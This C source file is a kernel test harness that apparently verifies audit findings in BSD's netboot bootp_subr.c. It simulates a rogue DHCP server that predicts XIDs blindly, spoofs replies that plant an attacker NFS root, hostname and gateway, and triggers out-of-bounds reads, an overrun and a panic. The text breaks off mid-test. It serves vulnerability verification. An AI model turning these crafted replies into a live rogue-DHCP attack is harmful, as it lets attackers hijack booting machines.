DF-3045 / dfrig12_bootp.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 | /* * dfrig12_bootp.c -- DF-3044 / DF-3045 / DF-3046 verification harness. * * VERBATIM INTERPOSITION RIG (kernel-compiled; see build.sh): * This file #includes the UNMODIFIED production source * /usr/src/sys/vfs/nfs/bootp_subr.c (sha256-gated by build.sh against the * audited tree) after renaming -- and only renaming, via cpp -- the * external seam symbols bootp_subr.c calls out to: * socreate sosetopt sobind sosend soreceive soclose (socket layer) * ifioctl rtrequest_global tsleep (net / sleep) * setfs nfs_mountopts md_mount md_lookup_swap bcmp (nfs-boot / libc) * Every function the findings cite (allocifctx, bootpc_compose_query, * bootpc_call, bootpc_fakeup_interface, bootpc_tag, bootpc_tag_helper, * bootpc_received, bootpc_decode_reply, bootpc_init) is the production * code, byte for byte. * * Harness-only knob (outside every cited line): * #define BOOTP_TIMEOUT 12 -- bounds bootpc_call()'s retry loop so * negative tests terminate; the shipped netboot default (retry forever, * bootp_subr.c:906 is #ifdef'd out without it) is irrelevant to the * findings under test. * * Attacker model (crafted-network-input class): * A malicious BOOTP/DHCP server on the client's boot network. * dfx_soreceive() injects its crafted replies. Reply origin is * 6.6.6.6 : 9999 -- a port no DHCP server uses -- to demonstrate that * acceptance never inspects the origin. In "blind" mode the reply XID * is computed purely from source-derived constants (seed 0xFFFF0000, * +0x100/if, +1/compose), never from an observed packet. * * sysctl interface: * sysctl -w kern.dfrig12=N run test N: * 1 = DF-3046 TAG_OVERLOAD length not validated (OOB byte adopted) * 2 = DF-3044 blind predicted-XID spoof from :9999 accepted, * full client config adopted (hostname/root/swap/route) * 20 = control: wrong XID -> ignored * 21 = sniffed XID, origin port 9999 * 22 = sniffed XID, origin port 67 (residual-risk documentation) * 3 = DF-3045 sdl_alen=17: selection accepts, hlen=17, bcmp reads * past chaddr[16], bcopy overruns into call.sname * 4 = DF-3044 predicted-XID ACK with TAG_SUBNETMASK len 3 -> * verbatim panic in bootpc_decode_reply (DoS proof) * 5 = DF-3045 hexncpy call-form canary primitive (contained) * 50 = DF-3045 in-situ sdl_alen=255 through bootpc_call -> fatal * sysctl -n kern.dfrig12_status markers of the last test */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/socket.h> #include <sys/socketvar.h> #include <sys/uio.h> #include <sys/proc.h> #include <sys/mbuf.h> #include <sys/fcntl.h> #include <net/if.h> #include <net/if_var.h> #include <net/route.h> #include <netinet/in.h> #include <net/if_types.h> #include <net/if_dl.h> /* forward declarations of the interposition stubs (definitions below, * after the production source has been included) */ static int dfx_socreate(int, struct socket **, int, int, struct thread *td); static int dfx_sosetopt(struct socket *so, struct sockopt *sopt); static int dfx_sobind(struct socket *so, struct sockaddr *nam, struct thread *td); static int dfx_sosend(struct socket *so, struct sockaddr *addr, struct uio *uio, struct mbuf *top, struct mbuf *control, int flags, struct thread *td); static int dfx_soreceive(struct socket *so, struct sockaddr **paddr, struct uio *uio, struct mbuf **mp0, struct mbuf **controlp, int *flagsp); static int dfx_soclose(struct socket *so, int fflags); static int dfx_tsleep(void *ident, int flags, const char *wmesg, int timo); static int dfx_ifioctl(struct socket *so, u_long cmd, caddr_t data, struct ucred *cred); static int dfx_rtrequest_global(int req, struct sockaddr *dst, struct sockaddr *gateway, struct sockaddr *netmask, int flags); static int dfx_bcmp(const void *a, const void *b, size_t len); /* dfx_setfs / dfx_nfs_mountopts / dfx_md_mount / dfx_md_lookup_swap are * declared by nfsmountrpc.h, which bootp_subr.c includes with the seam * renames active */ /* ---------------- interposition seams (call-site renames only) ------- */ #define socreate dfx_socreate #define sosetopt dfx_sosetopt #define sobind dfx_sobind #define sosend dfx_sosend #define soreceive dfx_soreceive #define soclose dfx_soclose #define ifioctl dfx_ifioctl #define rtrequest_global dfx_rtrequest_global #define tsleep dfx_tsleep #define bcmp dfx_bcmp #define setfs dfx_setfs #define nfs_mountopts dfx_nfs_mountopts #define md_mount dfx_md_mount #define md_lookup_swap dfx_md_lookup_swap /* harness-only bound on the retry loop (see header comment) */ #define BOOTP_TIMEOUT 12 #include "bootp_subr.c" /* <-- VERBATIM PRODUCTION SOURCE */ /* ---------------- attacker / stub state ------------------------------- */ #define DF_PKTLEN ((int)sizeof(struct bootp_packet)) #define ATT_SRV_BE 0x06060606u /* 6.6.6.6 (network order) */ #define ATT_IP_BE 0x06060642u /* 6.6.6.66 */ #define ATT_GW_BE 0x06060601u /* 6.6.6.1 */ #define DF_MODE_BLIND 1 /* xid from source constants only */ #define DF_MODE_WRONGXID 2 /* control: junk xid */ #define DF_MODE_SNIFF 3 /* xid echoed from broadcast query */ static int df_testno; static struct socket df_so_dummy; static struct bootp_packet df_pkt; /* crafted attacker reply */ static struct bootp_packet df_sent; /* last client query (sniffed) */ static int df_mode = DF_MODE_BLIND; static int df_from_port = 9999; static u_int32_t df_pred_base; static int df_offered; static int df_badmask; static int df_send_count, df_sent_msgtype; static u_int32_t df_sent_xid, df_first_xid; static int df_have_first; static u_char df_cl_mac[256]; static u_char df_cl_hlen; static int df_name_reqs, df_name_fills; static char df_rec_rootpath[128], df_rec_swappath[128]; static char df_rec_host[64], df_rec_rootopts[64], df_rec_swapopts[64]; static u_int32_t df_rec_root_srv, df_rec_swap_srv; static int df_rec_mount_root, df_rec_mount_swap, df_rec_lookup_swap; static u_int32_t df_rec_gw; static int df_rec_route_adds, df_rec_route_flags; static size_t df_bcmp_last_n; static const void *df_bcmp_last_a, *df_bcmp_last_b; /* fake interface plumbing for DF-3045 */ static struct ifnet *df_fake_ifp; static struct ifaddrhead *df_fake_heads; static struct ifaddr_container *df_fake_ifac; static struct ifaddr *df_fake_ifa; static struct sockaddr_dl *df_fake_sdl; static char df_status[1024]; static void df_mark(const char *fmt, ...) { __va_list ap; kprintf("dfrig12: "); __va_start(ap, fmt); kvprintf(fmt, ap); __va_end(ap); kprintf("\n"); strlcat(df_status, " | ", sizeof(df_status)); __va_start(ap, fmt); kvsnprintf(df_status + strlen(df_status), sizeof(df_status) - strlen(df_status), fmt, ap); __va_end(ap); } static void df_reset_script(void) { df_offered = 0; df_send_count = 0; df_sent_msgtype = 0; df_sent_xid = 0; df_first_xid = 0; df_have_first = 0; df_name_reqs = 0; df_name_fills = 0; df_badmask = 0; bzero(df_rec_rootpath, sizeof(df_rec_rootpath)); bzero(df_rec_swappath, sizeof(df_rec_swappath)); bzero(df_rec_host, sizeof(df_rec_host)); bzero(df_rec_rootopts, sizeof(df_rec_rootopts)); bzero(df_rec_swapopts, sizeof(df_rec_swapopts)); df_rec_root_srv = df_rec_swap_srv = 0; df_rec_mount_root = df_rec_mount_swap = df_rec_lookup_swap = 0; df_rec_gw = 0; df_rec_route_adds = 0; df_rec_route_flags = 0; df_bcmp_last_n = 0; df_bcmp_last_a = df_bcmp_last_b = NULL; } /* ---------------- seam stubs ------------------------------------------ */ static int dfx_socreate(int dom, struct socket **aso, int type, int proto, struct thread *td) { *aso = &df_so_dummy; return 0; } static int dfx_sosetopt(struct socket *so, struct sockopt *sopt) { return 0; } static int dfx_sobind(struct socket *so, struct sockaddr *nam, struct thread *td) { return 0; } static int dfx_soclose(struct socket *so, int fflags) { return 0; } static int dfx_tsleep(void *ident, int flags, const char *wmesg, int timo) { return 0; } static int dfx_ifioctl(struct socket *so, u_long cmd, caddr_t data, struct ucred *cred) { return 0; } static int dfx_rtrequest_global(int req, struct sockaddr *dst, struct sockaddr *gateway, struct sockaddr *netmask, int flags) { struct sockaddr_in *gw = (struct sockaddr_in *)gateway; if (req == RTM_ADD && gw != NULL) { df_rec_route_adds++; df_rec_route_flags = flags; df_rec_gw = gw->sin_addr.s_addr; } return 0; } static int dfx_bcmp(const void *a, const void *b, size_t len) { df_bcmp_last_n = len; df_bcmp_last_a = a; df_bcmp_last_b = b; if (len > 16) kprintf("DF3045: reply matcher bcmp len=%d: chaddr member " "is 16 bytes -> reads %d byte(s) past chaddr[15] " "(in-struct, into sname/file/vend)\n", (int)len, (int)len - 16); return memcmp(a, b, len) != 0; } int dfx_setfs(struct sockaddr_in *addr, char *path, char *p) { if (df_rec_rootpath[0] == '\0') strlcpy(df_rec_rootpath, p, sizeof(df_rec_rootpath)); else strlcpy(df_rec_swappath, p, sizeof(df_rec_swappath)); strlcpy(df_rec_host, p, sizeof(df_rec_host)); /* host:path prefix */ addr->sin_len = sizeof(*addr); addr->sin_family = AF_INET; addr->sin_addr.s_addr = ATT_SRV_BE; /* "6.6.6.6" in our strings */ return 1; } void dfx_nfs_mountopts(struct nfs_args *args, char *p) { if (p == NULL) return; if (df_rec_rootopts[0] == '\0') strlcpy(df_rec_rootopts, p, sizeof(df_rec_rootopts)); else strlcpy(df_rec_swapopts, p, sizeof(df_rec_swapopts)); } int dfx_md_mount(struct sockaddr_in *mdsin, char *path, u_char *fhp, int *fhsizep, struct nfs_args *args, struct thread *td) { if (df_rec_mount_root == 0) { df_rec_mount_root = 1; df_rec_root_srv = mdsin->sin_addr.s_addr; } else { df_rec_mount_swap = 1; df_rec_swap_srv = mdsin->sin_addr.s_addr; } if (fhsizep) *fhsizep = 16; if (fhp) memset(fhp, 0xAB, 16); return 0; } int dfx_md_lookup_swap(struct sockaddr_in *mdsin, char *path, u_char *fhp, int *fhsizep, struct nfs_args *args, struct thread *td) { df_rec_lookup_swap = 1; if (fhsizep) *fhsizep = 16; return 0; } /* craft a BOOTREPLY with attacker values */ static void df_craft_reply(u_int32_t xid_raw, u_char hlen, const u_char *mac, int msgtype) { u_char *v; u_int32_t be; int n; bzero(&df_pkt, sizeof(df_pkt)); df_pkt.op = BOOTP_REPLY; df_pkt.htype = 1; df_pkt.hlen = hlen; bcopy(mac, df_pkt.chaddr, hlen); df_pkt.xid = xid_raw; df_pkt.yiaddr.s_addr = ATT_IP_BE; df_pkt.siaddr.s_addr = ATT_SRV_BE; v = df_pkt.vend; *v++ = 99; *v++ = 130; *v++ = 83; *v++ = 99; /* RFC1048 cookie */ *v++ = TAG_DHCP_MSGTYPE; *v++ = 1; *v++ = msgtype; if (msgtype == DHCP_OFFER) { *v++ = TAG_DHCP_SERVERID; *v++ = 4; be = ATT_SRV_BE; bcopy(&be, v, 4); v += 4; } else { /* DHCP_ACK carrying the full attacker config */ if (df_badmask) { *v++ = TAG_SUBNETMASK; *v++ = 3; *v++ = 255; *v++ = 255; *v++ = 0; /* len 3! */ } else { *v++ = TAG_SUBNETMASK; *v++ = 4; be = htonl(0xffff0000u); /* 255.255.0.0 */ bcopy(&be, v, 4); v += 4; } *v++ = TAG_ROUTERS; *v++ = 4; be = ATT_GW_BE; bcopy(&be, v, 4); v += 4; n = strlen("6.6.6.6:/pwn3d"); *v++ = TAG_ROOT; *v++ = n; bcopy("6.6.6.6:/pwn3d", v, n); v += n; n = strlen("pwn3d"); *v++ = TAG_HOSTNAME; *v++ = n; bcopy("pwn3d", v, n); v += n; n = strlen("6.6.6.6:/swpwn"); *v++ = TAG_SWAP; *v++ = n; bcopy("6.6.6.6:/swpwn", v, n); v += n; *v++ = TAG_SWAPSIZE; *v++ = 4; be = htonl(65536); bcopy(&be, v, 4); v += 4; n = strlen("0wn3d!!"); *v++ = TAG_COOKIE; *v++ = n; bcopy("0wn3d!!", v, n); v += n; } *v++ = TAG_END; } static int dfx_sosend(struct socket *so, struct sockaddr *addr, struct uio *uio, struct mbuf *top, struct mbuf *control, int flags, struct thread *td) { int n; u_char *v; n = uio->uio_resid; if (n > DF_PKTLEN) n = DF_PKTLEN; bzero(&df_sent, sizeof(df_sent)); uiomove((caddr_t)&df_sent, n, uio); df_send_count++; df_sent_xid = df_sent.xid; if (!df_have_first) { df_first_xid = df_sent_xid; df_have_first = 1; } df_sent_msgtype = 0; v = df_sent.vend; if (v[0] == 99 && v[1] == 130 && v[2] == 83 && v[3] == 99) { v += 4; while (v < df_sent.vend + sizeof(df_sent.vend) - 1 && *v != TAG_END) { if (*v == TAG_PAD) { v++; continue; } if (*v == TAG_DHCP_MSGTYPE && v[1] == 1) { df_sent_msgtype = v[2]; break; } v += 2 + v[1]; } } kprintf("dfrig12: client broadcasts query #%d xid_raw=%08x " "msgtype=%d (any same-L2 host hears it)\n", df_send_count, df_sent_xid, df_sent_msgtype); return 0; } static int dfx_soreceive(struct socket *so, struct sockaddr **paddr, struct uio *uio, struct mbuf **mp0, struct mbuf **controlp, int *flagsp) { u_int32_t xid = 0; int deliver = 0, type = 0; if (paddr != NULL) df_name_reqs++; /* caller wants the origin ... */ if (df_mode == DF_MODE_WRONGXID) { if (df_offered == 0) { xid = 0x41414141u; type = DHCP_OFFER; deliver = 1; df_offered = 1; } else if (df_offered == 1 && df_sent_msgtype == DHCP_REQUEST) { xid = 0x41414141u; type = DHCP_ACK; deliver = 1; df_offered = 2; } } else if (df_mode == DF_MODE_BLIND) { /* bootpc_compose_query (:1194-1195) bumps xid only when the * ifctx is UNRESOLVED; the OFFERED->REQUEST recompose reuses * the DISCOVER xid (observed on the guest: both ffff0001). * Model: OFFER and ACK share base+1. */ if (df_offered == 0) { xid = htonl(df_pred_base + 1); type = DHCP_OFFER; deliver = 1; df_offered = 1; } else if (df_offered == 1 && df_sent_msgtype == DHCP_REQUEST) { xid = htonl(df_pred_base + 1); type = DHCP_ACK; deliver = 1; df_offered = 2; } } else { /* DF_MODE_SNIFF */ if (df_offered == 0) { xid = df_sent_xid; type = DHCP_OFFER; deliver = 1; df_offered = 1; } else if (df_offered == 1 && df_sent_msgtype == DHCP_REQUEST) { xid = df_sent_xid; type = DHCP_ACK; deliver = 1; df_offered = 2; } } if (!deliver) { /* The real soreceive() blocks in tsleep for up to the 1s * SO_RCVTIMEO; that opaque call is also what makes the * production `while (time_uptime < atimo)` loop in * bootpc_call re-load the (non-volatile, sys/time.h:163) * time_uptime each iteration. Our instant EWOULDBLOCK * return would let GCC hoist that load and spin forever, * so yield through a real external call to keep the loop * live exactly like the blocking socket path does. */ lwkt_yield(); return EWOULDBLOCK; } /* origin: attacker host, non-server port -- never validated by * the shipped acceptance test (bootp_subr.c:838-848) */ if (paddr != NULL) { struct sockaddr_in *fs; fs = kmalloc(sizeof(*fs), M_SONAME, M_WAITOK | M_ZERO); fs->sin_len = sizeof(*fs); fs->sin_family = AF_INET; fs->sin_addr.s_addr = ATT_SRV_BE; fs->sin_port = htons(df_from_port); *paddr = (struct sockaddr *)fs; df_name_fills++; } df_craft_reply(xid, df_cl_hlen, df_cl_mac, type); kprintf("dfrig12: ATTACKER injects %s xid_raw=%08x origin=6.6.6.6:%d " "yiaddr=6.6.6.66 siaddr=6.6.6.6\n", type == DHCP_OFFER ? "OFFER" : "ACK", xid, df_from_port); return uiomove((caddr_t)&df_pkt, DF_PKTLEN, uio); } /* ---------------- attacker prediction model --------------------------- * Replicates bootpc_init()'s interface walk (bootp_subr.c:1552-1573) to * compute, WITHOUT observing any packet, the XID each interface context * will use: allocifctx assigns gctx->xid (seed ~0xFFFF = 0xFFFF0000 at * :1538, +0x100 per interface at :435) and the first compose_query adds * +1 (:1194-1195). Also harvests the client MAC -- knowledge any * same-L2 host has (it is broadcast in every query) or inventory holds. */ static int df_predict(void) { struct ifnet *ifp; struct ifaddr_container *ifac; struct sockaddr_dl *sdl; int n = 0; bzero(df_cl_mac, sizeof(df_cl_mac)); df_cl_hlen = 6; ifnet_lock(); TAILQ_FOREACH(ifp, &ifnetlist, if_link) { if ((ifp->if_flags & (IFF_LOOPBACK | IFF_POINTOPOINT | IFF_BROADCAST)) != IFF_BROADCAST) continue; if (n == 0) { TAILQ_FOREACH(ifac, &ifp->if_addrheads[mycpuid], ifa_link) { struct ifaddr *ifa = ifac->ifa; if (ifa->ifa_addr->sa_family == AF_LINK && (sdl = ((struct sockaddr_dl *) ifa->ifa_addr)) != NULL && sdl->sdl_type == IFT_ETHER) { int l = sdl->sdl_alen; if (l > (int)sizeof(df_cl_mac)) l = sizeof(df_cl_mac); bcopy(LLADDR(sdl), df_cl_mac, l); df_cl_hlen = sdl->sdl_alen; break; } } } n++; } ifnet_unlock(); df_pred_base = 0xFFFF0000u; /* + 0x100 * 0 (first broadcast ifp) */ return n; } /* ---------------- fake IFT_ETHER interface with attacker sdl_alen ----- */ static void df_fake_ifnet(int alen) { int i; df_fake_ifp = kmalloc(sizeof(*df_fake_ifp), M_TEMP, M_WAITOK | M_ZERO); df_fake_heads = kmalloc(sizeof(*df_fake_heads) * ncpus, M_TEMP, M_WAITOK | M_ZERO); df_fake_ifac = kmalloc(sizeof(*df_fake_ifac), M_TEMP, M_WAITOK | M_ZERO); df_fake_ifa = kmalloc(sizeof(*df_fake_ifa), M_TEMP, M_WAITOK | M_ZERO); df_fake_sdl = kmalloc(sizeof(*df_fake_sdl) + 256, M_TEMP, M_WAITOK | M_ZERO); df_fake_sdl->sdl_len = sizeof(*df_fake_sdl); df_fake_sdl->sdl_family = AF_LINK; df_fake_sdl->sdl_index = 1; df_fake_sdl->sdl_type = IFT_ETHER; /* the only selection filter */ df_fake_sdl->sdl_nlen = 0; df_fake_sdl->sdl_alen = alen; /* UNVALIDATED by :1046-1053 */ for (i = 0; i < alen && i < 256; i++) LLADDR(df_fake_sdl)[i] = 0x40 + i; df_fake_ifa->ifa_addr = (struct sockaddr *)df_fake_sdl; df_fake_ifac->ifa = df_fake_ifa; for (i = 0; i < ncpus; i++) TAILQ_FIRST(&df_fake_heads[i]) = df_fake_ifac; df_fake_ifp->if_addrheads = df_fake_heads; } static void df_fake_ifnet_free(void) { if (df_fake_ifp) { kfree(df_fake_ifp, M_TEMP); df_fake_ifp = NULL; } if (df_fake_heads) { kfree(df_fake_heads, M_TEMP); df_fake_heads = NULL; } if (df_fake_ifac) { kfree(df_fake_ifac, M_TEMP); df_fake_ifac = NULL; } if (df_fake_ifa) { kfree(df_fake_ifa, M_TEMP); df_fake_ifa = NULL; } if (df_fake_sdl) { kfree(df_fake_sdl, M_TEMP); df_fake_sdl = NULL; } } /* ---------------- save/restore of globals bootpc_init touches --------- */ static char sv_hostname[MAXHOSTNAMELEN]; static char sv_cookie[128]; static int sv_valid; static struct nfsv3_diskless *sv_nd; static void df_save_global_state(void) { bcopy(hostname, sv_hostname, sizeof(sv_hostname)); bcopy(bootp_cookie, sv_cookie, sizeof(sv_cookie)); sv_valid = nfs_diskless_valid; if (sv_nd == NULL) sv_nd = kmalloc(sizeof(*sv_nd), M_TEMP, M_WAITOK | M_ZERO); bcopy(&nfsv3_diskless, sv_nd, sizeof(*sv_nd)); } static void df_restore_global_state(void) { bcopy(sv_hostname, hostname, sizeof(sv_hostname)); bcopy(sv_cookie, bootp_cookie, sizeof(sv_cookie)); nfs_diskless_valid = sv_valid; bcopy(sv_nd, &nfsv3_diskless, sizeof(nfsv3_diskless)); } /* ---------------- DF-3046: TAG_OVERLOAD length not validated ---------- */ static void df_test1(void) { struct bootpc_tagcontext *tc; u_char *reg; u_char *pkt; int i; /* (a) primitive: region whose LAST option is TAG_OVERLOAD,len=0 */ reg = kmalloc(32, M_TEMP, M_WAITOK | M_ZERO); tc = kmalloc(sizeof(*tc), M_TEMP, M_WAITOK | M_ZERO); reg[0] = 53; reg[1] = 1; reg[2] = 5; /* dhcp msgtype */ reg[3] = 12; reg[4] = 3; reg[5] = 'a'; /* hostname */ reg[6] = 'b'; reg[7] = 'c'; reg[8] = TAG_OVERLOAD; reg[9] = 0; /* len byte IS region end */ for (i = 10; i < 32; i++) reg[i] = 0xA5; /* guard */ bzero(tc, sizeof(*tc)); bootpc_tag_helper(tc, reg, 10, TAG_END); /* VERBATIM */ df_mark("DF3046 T1a: overload=0x%02x (planted byte past ej=0xa5) " "badopt=%d", tc->overload, tc->badopt); /* (b) TAG_OVERLOAD with len != 1 mid-region */ bzero(reg, 32); bzero(tc, sizeof(*tc)); reg[0] = TAG_OVERLOAD; reg[1] = 3; reg[2] = 2; reg[3] = 7; reg[4] = 9; /* RFC 2131: len MUST be 1 */ bootpc_tag_helper(tc, reg, 5, TAG_END); /* VERBATIM */ df_mark("DF3046 T1b: len=3 overload=0x%02x (first value byte taken, " "len ignored)", tc->overload); /* (c) in-packet: zero-length TAG_OVERLOAD with its length byte as * the FINAL byte of a full-size reply (replylen == sizeof(struct * bootp_packet) == 1460; the walk end ej lands exactly on the byte * past the struct) -> overload adopts the first GUARD byte */ pkt = kmalloc(DF_PKTLEN + 32, M_TEMP, M_WAITOK | M_ZERO); bzero(tc, sizeof(*tc)); pkt[offsetof(struct bootp_packet, vend) + 0] = 99; pkt[offsetof(struct bootp_packet, vend) + 1] = 130; pkt[offsetof(struct bootp_packet, vend) + 2] = 83; pkt[offsetof(struct bootp_packet, vend) + 3] = 99; pkt[offsetof(struct bootp_packet, vend) + 4] = 53; pkt[offsetof(struct bootp_packet, vend) + 5] = 1; pkt[offsetof(struct bootp_packet, vend) + 6] = 5; /* struct is 1460 bytes: vend ends at 1458, +2 tail padding; place * [TAG_OVERLOAD,0] at 1458/1459 (last two bytes of the datagram) */ pkt[1458] = TAG_OVERLOAD; pkt[1459] = 0; for (i = 0; i < 32; i++) pkt[DF_PKTLEN + i] = 0x03; /* guard past packet */ bootpc_tag(tc, (struct bootp_packet *)pkt, DF_PKTLEN, TAG_HOSTNAME); /* VERBATIM */ df_mark("DF3046 T1c: full-size vend-end overload=0x%02x (guard " "byte at bp+sizeof read, badopt=%d)", tc->overload, tc->badopt); /* (c2) mid-size replylen: len byte is final byte of vend[] itself * -> reads the struct tail padding (still past the vend member) */ bzero(pkt, DF_PKTLEN + 32); bzero(tc, sizeof(*tc)); pkt[offsetof(struct bootp_packet, vend) + 0] = 99; pkt[offsetof(struct bootp_packet, vend) + 1] = 130; pkt[offsetof(struct bootp_packet, vend) + 2] = 83; pkt[offsetof(struct bootp_packet, vend) + 3] = 99; pkt[offsetof(struct bootp_packet, vend) + 1220] = TAG_OVERLOAD; pkt[offsetof(struct bootp_packet, vend) + 1221] = 0; pkt[1458] = 0xEE; /* tail padding byte */ pkt[1459] = 0xDD; bootpc_tag(tc, (struct bootp_packet *)pkt, 1458, TAG_HOSTNAME); /* VERBATIM */ df_mark("DF3046 T1c2: replylen=1458 vend-end overload=0x%02x " "(tail-padding byte at bp+1458, past vend[1221])", tc->overload); /* (d) sname-walk variant: valid TAG_OVERLOAD=SNAME in vend, then * [52,0] as final two bytes of sname[64] -> *j reads bp->file[0], * the adjacent in-struct field, which we plant */ bzero(pkt, DF_PKTLEN + 32); bzero(tc, sizeof(*tc)); pkt[offsetof(struct bootp_packet, vend) + 0] = 99; pkt[offsetof(struct bootp_packet, vend) + 1] = 130; pkt[offsetof(struct bootp_packet, vend) + 2] = 83; pkt[offsetof(struct bootp_packet, vend) + 3] = 99; pkt[offsetof(struct bootp_packet, vend) + 4] = TAG_OVERLOAD; pkt[offsetof(struct bootp_packet, vend) + 5] = 1; pkt[offsetof(struct bootp_packet, vend) + 6] = OVERLOAD_SNAME; pkt[offsetof(struct bootp_packet, sname) + 62] = TAG_OVERLOAD; pkt[offsetof(struct bootp_packet, sname) + 63] = 0; pkt[offsetof(struct bootp_packet, file) + 0] = 0x5C; bootpc_tag(tc, (struct bootp_packet *)pkt, 300, TAG_HOSTNAME); /* VERBATIM */ df_mark("DF3046 T1d: sname-end overload=0x%02x (== planted " "bp->file[0]=0x5c, adjacent field)", tc->overload); /* attribution repeat with a different planted byte */ bzero(tc, sizeof(*tc)); pkt[offsetof(struct bootp_packet, file) + 0] = 0x77; bootpc_tag(tc, (struct bootp_packet *)pkt, 300, TAG_HOSTNAME); /* VERBATIM */ df_mark("DF3046 T1e: repeat with file[0]=0x77 -> overload=0x%02x", tc->overload); /* (f) file-walk variant: TAG_OVERLOAD=FILE in vend, [52,0] as the * final two bytes of file[128] -> *j reads bp->vend[0], i.e. the * first cookie byte (99) -- always-attacker-influenced via cookie */ bzero(tc, sizeof(*tc)); pkt[offsetof(struct bootp_packet, vend) + 4] = TAG_OVERLOAD; pkt[offsetof(struct bootp_packet, vend) + 5] = 1; pkt[offsetof(struct bootp_packet, vend) + 6] = OVERLOAD_FILE; pkt[offsetof(struct bootp_packet, file) + 126] = TAG_OVERLOAD; pkt[offsetof(struct bootp_packet, file) + 127] = 0; bootpc_tag(tc, (struct bootp_packet *)pkt, 300, TAG_HOSTNAME); /* VERBATIM */ df_mark("DF3046 T1f: file-end overload=0x%02x (== vend[0], the " "cookie byte 99)", tc->overload); kfree(reg, M_TEMP); kfree(tc, M_TEMP); kfree(pkt, M_TEMP); } /* ---------------- DF-3044: blind predicted-XID spoof ------------------ */ static void df_test2(int mode, int port) { int nif; char was_hostname[MAXHOSTNAMELEN]; bcopy(hostname, was_hostname, sizeof(was_hostname)); df_save_global_state(); df_reset_script(); df_mode = mode; df_from_port = port; nif = df_predict(); kprintf("dfrig12: attacker model: %d broadcast ifp(s); predicted " "DISCOVER xid=%08x (seed 0xFFFF0000 + 0 per if + 1 compose); " "MAC known a priori; NO packet ever observed\n", nif, df_pred_base + 1); bootpc_init(); /* VERBATIM end-to-end */ if (strcmp(hostname, "pwn3d") == 0) df_mark("DF3044: hostname ADOPTED 'pwn3d' (attacker " "TAG_HOSTNAME)"); else df_mark("DF3044: hostname NOT adopted (stays '%s')", was_hostname); if (df_rec_mount_root && df_rec_root_srv == ATT_SRV_BE) df_mark("DF3044: root NFS mount ADOPTED from attacker " "6.6.6.6 path=%s", df_rec_rootpath); else df_mark("DF3044: root mount NOT adopted (rec=%d)", df_rec_mount_root); if (df_rec_mount_swap && df_rec_swap_srv == ATT_SRV_BE) df_mark("DF3044: swap NFS mount ADOPTED from 6.6.6.6 " 